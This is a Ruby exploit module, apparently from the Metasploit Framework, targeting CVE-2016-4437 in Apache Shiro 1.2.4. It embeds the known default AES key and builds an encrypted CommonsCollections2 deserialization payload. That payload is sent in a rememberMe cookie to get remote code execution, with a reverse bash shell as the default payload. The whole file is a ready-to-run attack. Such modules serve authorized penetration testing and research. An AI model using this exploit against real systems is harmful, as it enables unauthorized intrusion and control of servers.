modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
include Msf::Exploit::JavaDeserialization
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Shiro v1.2.4 Cookie RememberME Deserial RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code on vulnerable
installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may
also be exploitable if the encryption key used by Shiro to encrypt rememberMe
cookies is known.
},
'License' => MSF_LICENSE,
'Author' => [
'L / l-codes[at]qq.com' # Metasploit module
],
'References' => [
['CVE', '2016-4437'],
['URL', 'https://github.com/Medicean/VulApps/tree/master/s/shiro/1']
],
'Platform' => %w[win unix],
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix Command payload',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows Command payload',
{
'Arch' => ARCH_CMD,
'Platform' => 'win'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2016-06-07',
'Privileged' => false,
'DefaultOptions' => {
'WfsDelay' => 5
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Base directory path', '/']),
OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA=='])
]
)
end
def aes_encrypt(payload)
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.encrypt
aes.key = Rex::Text.decode_base64(datastore['ENC_KEY'])
aes.random_iv + aes.update(payload) + aes.final
end
def exploit
java_payload = generate_java_deserialization_for_payload('CommonsCollections2', payload)
ciphertext = aes_encrypt(java_payload)
base64_ciphertext = Rex::Text.encode_base64(ciphertext)
send_request_cgi({
'uri' => target_uri.path,
'method' => 'GET',
'cookie' => "rememberMe=#{base64_ciphertext}"
})
end
end